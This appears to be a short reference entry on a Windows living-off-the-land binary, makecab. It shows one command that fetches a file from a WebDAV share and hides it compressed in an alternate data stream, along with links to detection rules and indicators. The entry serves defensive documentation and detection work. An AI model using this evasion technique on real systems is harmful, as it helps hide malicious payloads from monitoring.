Binary to package existing files into a cabinet (.cab) file
makecab \\webdavserver\webdav\file.exe C:\Folder\file.txt:file.cab
Compresses the target file into a CAB file stored in the Alternate Data Stream (ADS) of the target file.
Hide data compressed into an alternate data stream
C:\Windows\System32\makecab.exe, C:\Windows\SysWOW64\makecab.exe
Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_susp_alternate_data_streams.yml, Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml, IOC: Makecab retrieving files from Internet, IOC: Makecab storing data into alternate data streams
Oddvar Moe (@oddvarmoe)